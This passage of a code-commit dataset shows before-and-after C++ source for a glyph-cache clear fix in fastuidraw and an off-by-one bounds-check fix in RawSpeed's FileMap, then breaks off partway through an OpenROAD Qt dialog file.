p->upload_to_atlas();\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ fastuidraw::GlyphCache methods\nfastuidraw::GlyphCache::\nGlyphCache(GlyphAtlas::handle patlas)\n{\n  m_d = FASTUIDRAWnew GlyphCachePrivate(patlas, this);\n}\n\nfastuidraw::GlyphCache::\n~GlyphCache()\n{\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n  FASTUIDRAWdelete(d);\n  m_d = NULL;\n}\n\n\nfastuidraw::Glyph\nfastuidraw::GlyphCache::\nfetch_glyph(GlyphRender render, FontBase::const_handle font, uint32_t glyph_code)\n{\n  if(!font || !font->can_create_rendering_data(render.m_type))\n    {\n      return Glyph();\n    }\n\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n\n  GlyphDataPrivate *q;\n  GlyphSource src(font, glyph_code, render);\n\n  q = d->fetch_or_allocate_glyph(src);\n\n  if(!q->m_render.valid())\n    {\n      q->m_render = render;\n      assert(!q->m_glyph_data);\n      q->m_glyph_data = font->compute_rendering_data(q->m_render, glyph_code, q->m_layout);\n    }\n\n  return Glyph(q);\n}\n\n\nvoid\nfastuidraw::GlyphCache::\ndelete_glyph(Glyph G)\n{\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(G.m_opaque);\n  assert(p != NULL);\n  assert(p->m_cache == d);\n  assert(p->m_render.valid());\n\n  GlyphSource src(p->m_layout.m_font, p->m_layout.m_glyph_code, p->m_render);\n  d->m_glyph_map.erase(src);\n  p->clear();\n  d->m_free_slots.push_back(p->m_cache_location);\n}\n\nvoid\nfastuidraw::GlyphCache::\nclear_atlas(void)\n{\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n\n  d->m_atlas->clear();\n  for(unsigned int i = 0, endi = d->m_glyphs.size(); i < endi; ++i)\n    {\n      d->m_glyphs[i]->m_uploaded_to_atlas = false;\n      d->m_glyphs[i]->m_atlas_location[0] = fastuidraw::GlyphLocation();\n      d->m_glyphs[i]->m_atlas_location[1] = fastuidraw::GlyphLocation();\n      d->m_glyphs[i]->m_geometry_offset = -1;\n      d->m_glyphs[i]->m_geometry_length = 0;\n    }\n}\n\n\nvoid\nfastuidraw::GlyphCache::\nclear_cache(void)\n{\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n\n  clear_atlas();\n  d->m_glyphs.clear();\n  d->m_free_slots.clear();\n}\n<commit_msg>fastuidraw\/text: fix to GlyphCache::clear_cache() implementation<commit_after>\/*!\n * \\file glyph_cache.cpp\n * \\brief file glyph_cache.cpp\n *\n * Copyright 2016 by Intel.\n *\n * Contact: kevin.rogovin@intel.com\n *\n * This Source Code Form is subject to the\n * terms of the Mozilla Public License, v. 2.0.\n * If a copy of the MPL was not distributed with\n * this file, You can obtain one at\n * http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * \\author Kevin Rogovin <kevin.rogovin@intel.com>\n *\n *\/\n\n\n#include <map>\n#include <vector>\n#include <fastuidraw\/text\/glyph_cache.hpp>\n#include <fastuidraw\/text\/glyph_render_data.hpp>\n#include \"..\/private\/util_private.hpp\"\n\n\nnamespace\n{\n\n  class GlyphCachePrivate;\n\n  class GlyphDataPrivate\n  {\n  public:\n    GlyphDataPrivate(GlyphCachePrivate *c, unsigned int I):\n      m_cache(c),\n      m_cache_location(I),\n      m_geometry_offset(-1),\n      m_geometry_length(0),\n      m_uploaded_to_atlas(false),\n      m_glyph_data(NULL)\n    {}\n\n    void\n    clear(void);\n\n    enum fastuidraw::return_code\n    upload_to_atlas(void);\n\n    \/* owner\n     *\/\n    GlyphCachePrivate *m_cache;\n\n    \/* location into m_cache->m_glyphs\n     *\/\n    unsigned int m_cache_location;\n\n    \/* layout magicks\n     *\/\n    fastuidraw::GlyphLayoutData m_layout;\n    fastuidraw::GlyphRender m_render;\n\n    \/* Location in atlas\n     *\/\n    fastuidraw::vecN<fastuidraw::GlyphLocation, 2> m_atlas_location;\n    int m_geometry_offset, m_geometry_length;\n    bool m_uploaded_to_atlas;\n\n    \/* data to generate glyph data\n     *\/\n    fastuidraw::GlyphRenderData *m_glyph_data;\n  };\n\n  class GlyphSource\n  {\n  public:\n    GlyphSource(void):\n      m_glyph_code(0)\n    {}\n\n    GlyphSource(fastuidraw::FontBase::const_handle f,\n                uint32_t gc, fastuidraw::GlyphRender r):\n      m_font(f),\n      m_glyph_code(gc),\n      m_render(r)\n    {}\n\n    bool\n    operator<(const GlyphSource &rhs) const\n    {\n      return (m_font != rhs.m_font) ? m_font < rhs.m_font :\n        (m_glyph_code != rhs.m_glyph_code) ? m_glyph_code < rhs.m_glyph_code :\n        m_render < rhs.m_render;\n    }\n\n    fastuidraw::FontBase::const_handle m_font;\n    uint32_t m_glyph_code;\n    fastuidraw::GlyphRender m_render;\n  };\n\n  class GlyphCachePrivate\n  {\n  public:\n    explicit\n    GlyphCachePrivate(fastuidraw::GlyphAtlas::handle patlas, fastuidraw::GlyphCache *p);\n\n    ~GlyphCachePrivate();\n\n    \/*  When the atlas is full, we will clear the atlas, but save\n        the values in m_glyphs but mark them as not having been\n        uploaded, this way returned values are safe and we do\n        not have to regenerate data either.\n     *\/\n\n    GlyphDataPrivate*\n    fetch_or_allocate_glyph(GlyphSource src);\n\n    fastuidraw::GlyphAtlas::handle m_atlas;\n    std::map<GlyphSource, GlyphDataPrivate*> m_glyph_map;\n    std::vector<GlyphDataPrivate*> m_glyphs;\n    std::vector<unsigned int> m_free_slots;\n    fastuidraw::GlyphCache *m_p;\n  };\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ GlyphDataPrivate methods\nvoid\nGlyphDataPrivate::\nclear(void)\n{\n  m_render = fastuidraw::GlyphRender();\n  assert(!m_render.valid());\n\n  if(m_atlas_location[0].valid())\n    {\n      m_cache->m_atlas->deallocate(m_atlas_location[0]);\n      m_atlas_location[0] = fastuidraw::GlyphLocation();\n    }\n\n  if(m_atlas_location[1].valid())\n    {\n      m_cache->m_atlas->deallocate(m_atlas_location[1]);\n      m_atlas_location[1] = fastuidraw::GlyphLocation();\n    }\n\n  if(m_geometry_offset != -1)\n    {\n      m_cache->m_atlas->deallocate_geometry_data(m_geometry_offset, m_geometry_length);\n      m_geometry_offset = -1;\n      m_geometry_length = 0;\n    }\n\n  m_uploaded_to_atlas = false;\n  if(m_glyph_data)\n    {\n      FASTUIDRAWdelete(m_glyph_data);\n      m_glyph_data = NULL;\n    }\n}\n\nenum fastuidraw::return_code\nGlyphDataPrivate::\nupload_to_atlas(void)\n{\n  \/* TODO:\n     1. this method is not thread safe if different threads\n        attempt to access the same glyph (or if different\n        threads call this routine and clear_atlas()\n        at the same time).\n\n     2. this routine is hideous to read due to the handling\n        of allocation failures. Should likely bunch the\n        allocation behind objects whose ctors and dtors\n        do the right thing.\n   *\/\n  enum fastuidraw::return_code return_value;\n\n  if(m_uploaded_to_atlas)\n    {\n      return fastuidraw::routine_success;\n    }\n\n  assert(m_glyph_data);\n  return_value = m_glyph_data->upload_to_atlas(m_cache->m_atlas,\n                                               m_atlas_location[0],\n                                               m_atlas_location[1],\n                                               m_geometry_offset,\n                                               m_geometry_length);\n  if(return_value == fastuidraw::routine_success)\n    {\n      m_uploaded_to_atlas = true;\n    }\n\n  return return_value;\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ GlyphCachePrivate methods\nGlyphCachePrivate::\nGlyphCachePrivate(fastuidraw::GlyphAtlas::handle patlas,\n                  fastuidraw::GlyphCache *p):\n  m_atlas(patlas),\n  m_p(p)\n{}\n\nGlyphCachePrivate::\n~GlyphCachePrivate()\n{\n  for(unsigned int i = 0, endi = m_glyphs.size(); i < endi; ++i)\n    {\n      m_glyphs[i]->clear();\n      FASTUIDRAWdelete(m_glyphs[i]);\n    }\n}\n\n\nGlyphDataPrivate*\nGlyphCachePrivate::\nfetch_or_allocate_glyph(GlyphSource src)\n{\n  std::map<GlyphSource, GlyphDataPrivate*>::iterator iter;\n  GlyphDataPrivate *G;\n\n  iter = m_glyph_map.find(src);\n  if(iter != m_glyph_map.end())\n    {\n      return iter->second;\n    }\n\n\n  if(m_free_slots.empty())\n    {\n      G = FASTUIDRAWnew GlyphDataPrivate(this, m_glyphs.size());\n      m_glyphs.push_back(G);\n      assert(!G->m_render.valid());\n    }\n  else\n    {\n      unsigned int v(m_free_slots.back());\n      m_free_slots.pop_back();\n      G = m_glyphs[v];\n      assert(!G->m_render.valid());\n    }\n  m_glyph_map[src] = G;\n  return G;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ fastuidraw::Glyph methods\nenum fastuidraw::glyph_type\nfastuidraw::Glyph::\ntype(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL);\n  return p->m_render.m_type;\n}\n\nconst fastuidraw::GlyphLayoutData&\nfastuidraw::Glyph::\nlayout(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_layout;\n}\n\nfastuidraw::reference_counted_ptr<fastuidraw::GlyphCache>\nfastuidraw::Glyph::\ncache(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_cache->m_p;\n}\n\nunsigned int\nfastuidraw::Glyph::\ncache_location(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_cache_location;\n}\n\nfastuidraw::GlyphLocation\nfastuidraw::Glyph::\natlas_location(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_atlas_location[0];\n}\n\nfastuidraw::GlyphLocation\nfastuidraw::Glyph::\nsecondary_atlas_location(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_atlas_location[1];\n}\n\nint\nfastuidraw::Glyph::\ngeometry_offset(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->m_geometry_offset;\n}\n\nenum fastuidraw::return_code\nfastuidraw::Glyph::\nupload_to_atlas(void) const\n{\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(m_opaque);\n  assert(p != NULL && p->m_render.valid());\n  return p->upload_to_atlas();\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ fastuidraw::GlyphCache methods\nfastuidraw::GlyphCache::\nGlyphCache(GlyphAtlas::handle patlas)\n{\n  m_d = FASTUIDRAWnew GlyphCachePrivate(patlas, this);\n}\n\nfastuidraw::GlyphCache::\n~GlyphCache()\n{\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n  FASTUIDRAWdelete(d);\n  m_d = NULL;\n}\n\n\nfastuidraw::Glyph\nfastuidraw::GlyphCache::\nfetch_glyph(GlyphRender render, FontBase::const_handle font, uint32_t glyph_code)\n{\n  if(!font || !font->can_create_rendering_data(render.m_type))\n    {\n      return Glyph();\n    }\n\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n\n  GlyphDataPrivate *q;\n  GlyphSource src(font, glyph_code, render);\n\n  q = d->fetch_or_allocate_glyph(src);\n\n  if(!q->m_render.valid())\n    {\n      q->m_render = render;\n      assert(!q->m_glyph_data);\n      q->m_glyph_data = font->compute_rendering_data(q->m_render, glyph_code, q->m_layout);\n    }\n\n  return Glyph(q);\n}\n\n\nvoid\nfastuidraw::GlyphCache::\ndelete_glyph(Glyph G)\n{\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n\n  GlyphDataPrivate *p;\n  p = reinterpret_cast<GlyphDataPrivate*>(G.m_opaque);\n  assert(p != NULL);\n  assert(p->m_cache == d);\n  assert(p->m_render.valid());\n\n  GlyphSource src(p->m_layout.m_font, p->m_layout.m_glyph_code, p->m_render);\n  d->m_glyph_map.erase(src);\n  p->clear();\n  d->m_free_slots.push_back(p->m_cache_location);\n}\n\nvoid\nfastuidraw::GlyphCache::\nclear_atlas(void)\n{\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n\n  d->m_atlas->clear();\n  for(unsigned int i = 0, endi = d->m_glyphs.size(); i < endi; ++i)\n    {\n      d->m_glyphs[i]->m_uploaded_to_atlas = false;\n      d->m_glyphs[i]->m_atlas_location[0] = fastuidraw::GlyphLocation();\n      d->m_glyphs[i]->m_atlas_location[1] = fastuidraw::GlyphLocation();\n      d->m_glyphs[i]->m_geometry_offset = -1;\n      d->m_glyphs[i]->m_geometry_length = 0;\n    }\n}\n\n\nvoid\nfastuidraw::GlyphCache::\nclear_cache(void)\n{\n  GlyphCachePrivate *d;\n  d = reinterpret_cast<GlyphCachePrivate*>(m_d);\n\n  d->m_atlas->clear();\n  d->m_glyph_map.clear();\n  \n  for(unsigned int i = 0, endi = d->m_glyphs.size(); i < endi; ++i)\n    {\n      GlyphDataPrivate *p;\n      p = d->m_glyphs[i];\n      if(p->m_render.valid())\n\t{\n\t  p->clear();\n\t  d->m_free_slots.push_back(p->m_cache_location);\n\t}\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"StdAfx.h\"\n#include \"FileMap.h\"\n\/*\n    RawSpeed - RAW file decoder.\n\n    Copyright (C) 2009-2014 Klaus Post\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n    http:\/\/www.klauspost.com\n*\/\n\nnamespace RawSpeed {\n\nFileMap::FileMap(uint32 _size) : size(_size) {\n  if (!size)\n    throw FileIOException(\"Filemap of 0 bytes not possible\");\n  data = (uchar8*)_aligned_malloc(size + FILEMAP_MARGIN, 16);\n  if (!data) {\n    throw FileIOException(\"Not enough memory to open file.\");\n  }\n  mOwnAlloc = true;\n}\n\nFileMap::FileMap(uchar8* _data, uint32 _size): data(_data), size(_size) {\n  mOwnAlloc = false;\n}\n\nFileMap::FileMap(FileMap *f, uint32 offset) {\n  size = f->getSize()-offset;\n  data = f->getDataWrt(offset, size+FILEMAP_MARGIN);\n  mOwnAlloc = false;\n}\n\nFileMap::FileMap(FileMap *f, uint32 offset, uint32 size) {\n  data = f->getDataWrt(offset, size+FILEMAP_MARGIN);\n  mOwnAlloc = false;\n}\n\nFileMap::~FileMap(void) {\n  if (data && mOwnAlloc) {\n    _aligned_free(data);\n  }\n  data = 0;\n  size = 0;\n}\n\nFileMap* FileMap::clone() {\n  FileMap *new_map = new FileMap(size);\n  memcpy(new_map->data, data, size);\n  return new_map;\n}\n\nFileMap* FileMap::cloneRandomSize() {\n  uint32 new_size = (rand() | (rand() << 15)) % size;\n  FileMap *new_map = new FileMap(new_size);\n  memcpy(new_map->data, data, new_size);\n  return new_map;\n}\n\nvoid FileMap::corrupt(int errors) {\n  for (int i = 0; i < errors; i++) {\n    uint32 pos = (rand() | (rand() << 15)) % size;\n    data[pos] = rand() & 0xff;\n  }\n}\n\nbool FileMap::isValid(uint32 offset, uint32 count)\n{\n  uint64 totaloffset = (uint64)offset + (uint64)count - 1;\n  return (isValid(offset) && totaloffset < size);\n}\n\nconst uchar8* FileMap::getData( uint32 offset, uint32 count )\n{\n  if (count == 0)\n    throw IOException(\"FileMap: Trying to get a zero sized buffer?!\");\n\n  uint64 totaloffset = (uint64)offset + (uint64)count - 1;\n  uint64 totalsize = (uint64)size + FILEMAP_MARGIN;\n\n  \/\/ Give out data up to FILEMAP_MARGIN more bytes than are really in the\n  \/\/ file as that is useful for some of the BitPump code\n  if (!isValid(offset) || totaloffset > totalsize)\n    throw IOException(\"FileMap: Attempting to read file out of bounds.\");\n  return &data[offset];\n}\n\n} \/\/ namespace RawSpeed\n<commit_msg>off-by-one in file bounds checking<commit_after>#include \"StdAfx.h\"\n#include \"FileMap.h\"\n\/*\n    RawSpeed - RAW file decoder.\n\n    Copyright (C) 2009-2014 Klaus Post\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n\n    http:\/\/www.klauspost.com\n*\/\n\nnamespace RawSpeed {\n\nFileMap::FileMap(uint32 _size) : size(_size) {\n  if (!size)\n    throw FileIOException(\"Filemap of 0 bytes not possible\");\n  data = (uchar8*)_aligned_malloc(size + FILEMAP_MARGIN, 16);\n  if (!data) {\n    throw FileIOException(\"Not enough memory to open file.\");\n  }\n  mOwnAlloc = true;\n}\n\nFileMap::FileMap(uchar8* _data, uint32 _size): data(_data), size(_size) {\n  mOwnAlloc = false;\n}\n\nFileMap::FileMap(FileMap *f, uint32 offset) {\n  size = f->getSize()-offset;\n  data = f->getDataWrt(offset, size+FILEMAP_MARGIN);\n  mOwnAlloc = false;\n}\n\nFileMap::FileMap(FileMap *f, uint32 offset, uint32 size) {\n  data = f->getDataWrt(offset, size+FILEMAP_MARGIN);\n  mOwnAlloc = false;\n}\n\nFileMap::~FileMap(void) {\n  if (data && mOwnAlloc) {\n    _aligned_free(data);\n  }\n  data = 0;\n  size = 0;\n}\n\nFileMap* FileMap::clone() {\n  FileMap *new_map = new FileMap(size);\n  memcpy(new_map->data, data, size);\n  return new_map;\n}\n\nFileMap* FileMap::cloneRandomSize() {\n  uint32 new_size = (rand() | (rand() << 15)) % size;\n  FileMap *new_map = new FileMap(new_size);\n  memcpy(new_map->data, data, new_size);\n  return new_map;\n}\n\nvoid FileMap::corrupt(int errors) {\n  for (int i = 0; i < errors; i++) {\n    uint32 pos = (rand() | (rand() << 15)) % size;\n    data[pos] = rand() & 0xff;\n  }\n}\n\nbool FileMap::isValid(uint32 offset, uint32 count)\n{\n  uint64 totaloffset = (uint64)offset + (uint64)count - 1;\n  return (isValid(offset) && totaloffset < size);\n}\n\nconst uchar8* FileMap::getData( uint32 offset, uint32 count )\n{\n  if (count == 0)\n    throw IOException(\"FileMap: Trying to get a zero sized buffer?!\");\n\n  uint64 totaloffset = (uint64)offset + (uint64)count - 1;\n  uint64 totalsize = (uint64)size + FILEMAP_MARGIN;\n\n  \/\/ Give out data up to FILEMAP_MARGIN more bytes than are really in the\n  \/\/ file as that is useful for some of the BitPump code\n  if (!isValid(offset) || totaloffset >= totalsize)\n    throw IOException(\"FileMap: Attempting to read file out of bounds.\");\n  return &data[offset];\n}\n\n} \/\/ namespace RawSpeed\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2022, The Regents of the University of California\n\/\/ All rights reserved.\n\/\/\n\/\/ BSD 3-Clause License\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice, this\n\/\/   list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright notice,\n\/\/   this list of conditions and the following disclaimer in the documentation\n\/\/   and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of the copyright holder nor the names of its\n\/\/   contributors may be used to endorse or promote products derived from\n\/\/   this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"globalConnectDialog.h\"\n#include \"utl\/Logger.h\"\n\n#include <QApplication>\n#include <QHBoxLayout>\n#include <QLabel>\n#include <QMessageBox>\n#include <QVBoxLayout>\n\nQ_DECLARE_METATYPE(odb::dbNet*);\nQ_DECLARE_METATYPE(odb::dbRegion*);\n\nnamespace gui {\n\nenum class GlobalConnectField\n{\n  Instance,\n  Pin,\n  Net,\n  Region,\n  Run,\n  Remove\n};\n\nstatic int toValue(GlobalConnectField f)\n{\n  return static_cast<int>(f);\n}\n\n\/\/\/\/\/\/\/\/\/\n\nGlobalConnectDialog::GlobalConnectDialog(odb::dbBlock* block, QWidget* parent)\n    : QDialog(parent),\n      block_(block),\n      layout_(new QGridLayout),\n      add_(new QPushButton(this)),\n      clear_(new QPushButton(this)),\n      run_(new QPushButton(this)),\n      rules_({}),\n      inst_pattern_(new QLineEdit(this)),\n      pin_pattern_(new QLineEdit(this)),\n      net_(new QComboBox(this)),\n      region_(new QComboBox(this)),\n      connections_(new QLabel(this))\n{\n  setWindowTitle(\"Global Connect Rules\");\n\n  QVBoxLayout* layout = new QVBoxLayout;\n  layout->addLayout(layout_);\n  QHBoxLayout* button_layout = new QHBoxLayout;\n  button_layout->addWidget(clear_);\n  button_layout->addWidget(run_);\n  layout->addLayout(button_layout);\n  layout->addWidget(connections_);\n\n  setLayout(layout);\n\n  add_->setIcon(QIcon(\":\/add.png\"));\n  add_->setToolTip(tr(\"Run\"));\n  add_->setAutoDefault(false);\n  add_->setDefault(false);\n  add_->setEnabled(false);\n\n  run_->setIcon(QIcon(\":\/play.png\"));\n  run_->setToolTip(tr(\"Run\"));\n  run_->setAutoDefault(false);\n  run_->setDefault(false);\n\n  clear_->setIcon(QIcon(\":\/delete.png\"));\n  clear_->setToolTip(tr(\"Clear\"));\n  clear_->setAutoDefault(false);\n  clear_->setDefault(false);\n\n  connect(add_, SIGNAL(pressed()), this, SLOT(makeRule()));\n  connect(run_, SIGNAL(pressed()), this, SLOT(runRules()));\n  connect(clear_, SIGNAL(pressed()), this, SLOT(clearRules()));\n\n  layout_->addWidget(new QLabel(\"Instance pattern\", this),\n                     0,\n                     toValue(GlobalConnectField::Instance),\n                     Qt::AlignCenter);\n  layout_->addWidget(new QLabel(\"Pin pattern\", this),\n                     0,\n                     toValue(GlobalConnectField::Pin),\n                     Qt::AlignCenter);\n  layout_->addWidget(new QLabel(\"Net\", this),\n                     0,\n                     toValue(GlobalConnectField::Net),\n                     Qt::AlignCenter);\n  layout_->addWidget(new QLabel(\"Region\", this),\n                     0,\n                     toValue(GlobalConnectField::Region),\n                     Qt::AlignCenter);\n  for (auto* rule : block_->getGlobalConnects()) {\n    addRule(rule);\n  }\n\n  region_->addItem(\"All\",\n                   QVariant::fromValue(static_cast<odb::dbRegion*>(nullptr)));\n  for (auto* region : block_->getRegions()) {\n    region_->addItem(QString::fromStdString(region->getName()),\n                     QVariant::fromValue(static_cast<odb::dbRegion*>(region)));\n  }\n\n  for (auto* net : block_->getNets()) {\n    if (!net->isSpecial()) {\n      continue;\n    }\n    net_->addItem(QString::fromStdString(net->getName()),\n                  QVariant::fromValue(static_cast<odb::dbNet*>(net)));\n  }\n\n  const int row_idx = rules_.size() + 1;\n  layout_->addWidget(inst_pattern_,\n                     row_idx,\n                     toValue(GlobalConnectField::Instance),\n                     Qt::AlignCenter);\n  layout_->addWidget(\n      pin_pattern_, row_idx, toValue(GlobalConnectField::Pin), Qt::AlignCenter);\n  layout_->addWidget(\n      net_, row_idx, toValue(GlobalConnectField::Net), Qt::AlignCenter);\n  layout_->addWidget(\n      region_, row_idx, toValue(GlobalConnectField::Region), Qt::AlignCenter);\n  layout_->addWidget(\n      add_, row_idx, toValue(GlobalConnectField::Run), Qt::AlignCenter);\n\n  connect(this, SIGNAL(connectionsMade(int)), this, SLOT(announceConnections(int)));\n  connect(inst_pattern_, SIGNAL(textChanged(const QString&)), this, SLOT(addRegexTextChanged(const QString&)));\n  connect(pin_pattern_, SIGNAL(textChanged(const QString&)), this, SLOT(addRegexTextChanged(const QString&)));\n}\n\nvoid GlobalConnectDialog::runRules()\n{\n  runRule(nullptr);\n}\n\nvoid GlobalConnectDialog::clearRules()\n{\n  auto rule_set = block_->getGlobalConnects();\n  std::set<odb::dbGlobalConnect*> rules(rule_set.begin(), rule_set.end());\n  for (auto* rule : rules) {\n    deleteRule(rule);\n  }\n}\n\nvoid GlobalConnectDialog::deleteRule(odb::dbGlobalConnect* gc)\n{\n  auto& widgets = rules_[gc];\n\n  layout_->removeWidget(widgets.inst_pattern);\n  layout_->removeWidget(widgets.pin_pattern);\n  layout_->removeWidget(widgets.net);\n  layout_->removeWidget(widgets.region);\n  layout_->removeWidget(widgets.run);\n  layout_->removeWidget(widgets.remove);\n\n  delete widgets.inst_pattern;\n  delete widgets.pin_pattern;\n  delete widgets.net;\n  delete widgets.region;\n  delete widgets.run;\n  delete widgets.remove;\n\n  rules_.erase(gc);\n\n  odb::dbGlobalConnect::destroy(gc);\n\n  adjustSize();\n}\n\nvoid GlobalConnectDialog::addRule(odb::dbGlobalConnect* gc)\n{\n  const int row_idx = rules_.size() + 1;\n  auto& widgets = rules_[gc];\n\n  auto setup_line = [](QLineEdit* line) {\n    line->setReadOnly(true);\n    line->setStyleSheet(\"color: black; background-color: lightGray\");\n  };\n\n  widgets.inst_pattern = new QLineEdit(this);\n  setup_line(widgets.inst_pattern);\n  widgets.inst_pattern->setText(QString::fromStdString(gc->getInstPattern()));\n  layout_->addWidget(widgets.inst_pattern,\n                     row_idx,\n                     toValue(GlobalConnectField::Instance),\n                     Qt::AlignCenter);\n  widgets.pin_pattern = new QLineEdit(this);\n  setup_line(widgets.pin_pattern);\n  widgets.pin_pattern->setText(QString::fromStdString(gc->getPinPattern()));\n  layout_->addWidget(widgets.pin_pattern,\n                     row_idx,\n                     toValue(GlobalConnectField::Pin),\n                     Qt::AlignCenter);\n  widgets.net = new QLineEdit(this);\n  setup_line(widgets.net);\n  widgets.net->setText(QString::fromStdString(gc->getNet()->getName()));\n  layout_->addWidget(\n      widgets.net, row_idx, toValue(GlobalConnectField::Net), Qt::AlignCenter);\n\n  widgets.region = new QLineEdit(this);\n  odb::dbRegion* dbregion = gc->getRegion();\n  if (dbregion == nullptr) {\n    widgets.region->setText(\"All\");\n  } else {\n    widgets.region->setText(QString::fromStdString(dbregion->getName()));\n  }\n  setup_line(widgets.region);\n  